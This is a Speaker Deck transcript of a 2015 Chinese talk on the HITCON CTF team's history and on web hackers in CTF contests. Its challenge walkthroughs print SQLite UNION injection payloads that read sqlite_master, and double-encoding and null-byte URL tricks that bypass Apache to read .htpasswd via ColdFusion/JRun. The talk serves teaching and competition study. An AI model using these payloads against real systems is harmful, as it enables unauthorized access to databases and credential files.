Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Features
Speaker Deck
PRO
Sign in
Sign up for free
Search
Search
關於 HITCON CTF 的那些事 之 Web 狗如何在險惡的 CTF 世界中存活?
Search
Orange
July 18, 2015
Technology
6
13k
關於 HITCON CTF 的那些事 之 Web 狗如何在險惡的 CTF 世界中存活?
2015 烏雲峰會演講投影片
Orange
July 18, 2015
Tweet
Share
More Decks by Orange
See All by Orange
Best Practices - The Upload
p8361
0
76
Security in PHP 那些在滲透測試的小技巧
p8361
0
160
網頁安全 Web Security 入門
p8361
0
160
Bug Bounty 獎金獵人甘苦談 - 那些年我回報過的漏洞
p8361
13
36k
那些 Web Hacking 中的奇技淫巧
p8361
16
14k
PHPConf 2013 - 矛盾大對決
p8361
53
28k
0-Day 輕鬆談 - Happy Fuzzing Internet Explorer
p8361
15
12k
駭客看 Django
p8361
25
13k
Other Decks in Technology
See All in Technology
2025新卒研修・HTML/CSS #弁護士ドットコム
bengo4com
3
13k
Claude CodeでKiroの仕様駆動開発を実現させるには...
gotalab555
3
880
GMOペパボのデータ基盤とデータ活用の現在地 / Current State of GMO Pepabo's Data Infrastructure and Data Utilization
zaimy
3
190
KubeCon + CloudNativeCon Japan 2025 Recap
donkomura
0
160
20250807_Kiroと私の反省会
riz3f7
0
130
Foundation Model × VisionKit で実現するローカル OCR
sansantech
PRO
0
290
生成AI時代におけるAI・機械学習技術を用いたプロダクト開発の深化と進化 #BetAIDay
layerx
PRO
1
1k
【2025 Japan AWS Jr. Champions Ignition】点から線、線から面へ〜僕たちが起こすコラボレーション・ムーブメント〜
amixedcolor
1
120
データ基盤の管理者からGoogle Cloud全体の管理者になっていた話
zozotech
PRO
0
330
AIエージェントを現場で使う / 2025.08.07 著者陣に聞く!現場で活用するためのAIエージェント実践入門(Findyランチセッション)
smiyawaki0820
6
580
みんなのSRE 〜チーム全員でのSRE活動にするための4つの取り組み〜
kakehashi
PRO
2
140
Kiroでインフラ要件定義~テスト を実施してみた
nagisa53
3
300
Featured
See All Featured
Unsuck your backbone
ammeep
671
58k
Mobile First: as difficult as doing things right
swwweet
223
9.9k
Designing for humans not robots
tammielis
253
25k
Principles of Awesome APIs and How to Build Them.
keavy
126
17k
Responsive Adventures: Dirty Tricks From The Dark Corners of Front-End
smashingmag
251
21k
Learning to Love Humans: Emotional Interface Design
aarron
273
40k
Become a Pro
speakerdeck
PRO
29
5.5k
Optimising Largest Contentful Paint
csswizardry
37
3.4k
Creating an realtime collaboration tool: Agile Flush - .NET Oxford
marcduiker
30
2.2k
I Don’t Have Time: Getting Over the Fear to Launch Your Podcast
jcasabona
33
2.4k
How To Stay Up To Date on Web Technology
chriscoyier
790
250k
Docker and Python
trallard
45
3.5k
Transcript
關於 HITCON CTF 的那些事 Web 狗如何在險惡的 CTF 世界中存活?
[email protected]
之
About Me • 蔡政達 a.k.a Orange • CHROOT 成員 /
HITCON 成員 • 國內外研討會 HITCON, AVTokyo, PHPConf 等講師 • 國內外駭客競賽 CTF 冠軍 • 揭露過 Microsoft IE, Django, Yahoo ... 等 0-DAY 漏洞 • 專精於駭客手法、Web Security 與網路滲透 #90後 #賽棍 #電競選手 #狗 #Web狗
None
About HITCON CTF Team • 台灣駭客年會 (Hacks in Taiwan Conference)
• 前身為 CHROOT 讀書會 • 目前比賽成員約 14 位,成員來自台灣各隊伍 • 過半數為學生
參與過賽事(決賽) • 中國 BCTF • 韓國 SECUINSIDE • 美國 DEF
CON • 馬來西亞 HITB • 日本 SECCON • 韓國 CODEGATE • 中國 0CTF • …
由三隻獨立隊伍所合併而成 HITCON
None
• DEFCON CTF 21 Quals • 217 首度接觸 CTF! 2013-05
• 中國百度 BCTF 決賽 • 首次參加的 Attack & Defense 比賽!
2014-05 2013-05
None
黑客競賽住宿飯店提供黑客蚊香片
• DEFCON CTF 22 Quals • 聚集各方戰力重新挑戰一次 • HITCON •
台灣大學 217 • 交通大學成員 2014-05 2013-05 2014-05
SICK http://www.jeffxx.com/blog/2014/05/19/defcon-ctf-22-qual-sick-writeup/
• 韓國 SECUINSIDE CTF 決賽 • 發現跟國外隊伍差距多大 2014-05 2013-05 2014-05
2014-07
None
DEF CON 22 CTF FINAL
• 首次聚集台灣最強戰力挑戰 DEFCON 決賽 • 抵達美國過程一波三折 2014-05 2013-05 2014-05 2014-07
2014-08
• 時差問題 • 食物只有漢堡王 • 設備 ? VLAN TAG 999
2014-05 2013-05 2014-05 2014-07 2014-08
None
None
None
• HITCON 舉辦首場開放世界報 名的比賽 - HITCON CTF • 列強環繞 -
Bamboo Fox 成立 2014-05 2013-05 2014-05 2014-07 2014-08 2014-08
http://ctf.hitcon.org/
• 日本 SECCON 決賽 • Kill of the Hill 賽制
• 看不懂規則以及網頁 • 花了兩個小時 Fuzzing Protocol 找到 Overflow 後... 原來有提供 Binary 2014-05 2013-05 2014-05 2014-07 2014-08 2014-08 2015-02
TO BE CONTINUED 2014-05 2013-05 2014-05 2014-07 2014-08 2014-08 2015-02
2015-??
「Web 狗如何在險惡的 CTF 世界中存活?」
DEFCON 22 CTF Quals Web x 1 of 21 DEFCON
23 CTF Quals Web x 1 of 24 Boston Key Party CTF 2015 Web x 0 of 31 PLAID CTF 2015 Web x 1 of 24 「Web 狗如何在險惡的 CTF 世界中存活?」
None
看到都快哭出來了
Web 為何弱勢? • 代碼數量 • 你不會為了出一道題目去寫幾十萬行代碼 • 技術 v.s. 思路
v.s. ...滲透? • 漏洞利用的藝術 • 想想假使 WordPress / Discuz 出了一個任意變量覆蓋要如何 優雅 的利用? • 跳個 alert 也是利用,遠端代碼執行也是利用
# login page r = query("SELECT pwd FROM users WHERE
user = '%s'" % username) if r.pwd == password: session['username'] = username # index page username = session['username'] r = query("SELECT point FROM users WHERE user = '%s'" % username) print r.point CodeGate CTF 2015 Final Web Pseudo Code
CodeGate CTF 2015 Final Web Pseudo Code • 4 /
10 隊伍解出 • 技術很簡單,成功登入後可以看到 session 對應的分數 • 不過在沒有原始碼狀況下難度增加 • 對於黑箱測試來說只有登入成功以及失敗的結果可知 Q: 在沒有錯誤、無法讀寫、無法多語句的前提下,如何用最快的方式 取得資料?
' UNION SELECT (SELECT CASE WHEN random()*2>1 THEN 'password' ELSE
(SELECT sql FROM sqlite_master limit 1) END)--+ 核心概念 - 單次輸入但構造出不同的結果
' UNION SELECT (SELECT CASE WHEN datetime('now')>'2015-06-22 00:00:00' THEN 'password'
ELSE (SELECT sql FROM sqlite_master limit 1) END)--+ 核心概念 - 單次輸入但構造出不同的結果
HITCON CTF 2014 Web LEENODE
• 2 / 1020 隊伍解出 • Web 分層架構漏洞 • ColdFusion
with Apache Connector • 舊版本 ColdFusion Double Encoding 造成資訊洩漏漏洞 • 同樣漏洞,出現兩種思路兩種解法 HITCON CTF 2014 Web LEENODE
<FilesMatch "^\.ht"> 會被 Apache 處理 使⽤用 Double Encoding 繞過 Apache
處理 .cfm 會被 JRun 處理 使⽤用 Null Byte 截斷 .cfm JRun 讀取 .htpasswd 原始碼並送回 /admin%252f%252ehtpasswd%2500.cfm
/.%5Cadmin%5C.htpasswd%253b.jsp <FilesMatch "^\.ht"> 會被 Apache 處理 使⽤用反斜線繞過 Apache 處理 .jsp
會被 JRun 處理 使⽤用 ; 截斷 .jsp JRun 讀取 .htpasswd 原始碼並送回
「Web 狗如何在險惡的 CTF 世界中存活?」 所以說
– 怎麼可能存活,想多了 「Web 狗如何在險惡的 CTF 世界中存活?」
– 為了存活下來,不得不強迫自己學其他技能 「Web 狗如何在險惡的 CTF 世界中存活?」
– 但是密碼學、堆棧溢出是高富帥的領域怎麼辦? 「Web 狗如何在險惡的 CTF 世界中存活?」
DAWN 隊伍專訪節錄
從用得上的實例學起 • Web Hacking • Reversing + Pwnable • /cgi-bin/
下的 ELF • 嵌入式設備總會遇到 • 滲透後主機提權要自己改 Exploit Code • Cryptography • Padding Oracle / Bit Flipping Attack / Length Extension Attack ...
– 人在江湖,身不由己 「Web 狗如何在險惡的 CTF 世界中存活?」
Web 狗額外優勢 • 網頁端的資訊洩漏 ( Flag ? ) • /server-status/
• /.git/ .DS_Store • 針對出題者的資訊蒐集? • 蒐集題目作者習慣 Code Snippet / Coding Style •還有哪些只有 Web 狗能做的事情?
結論
Q & A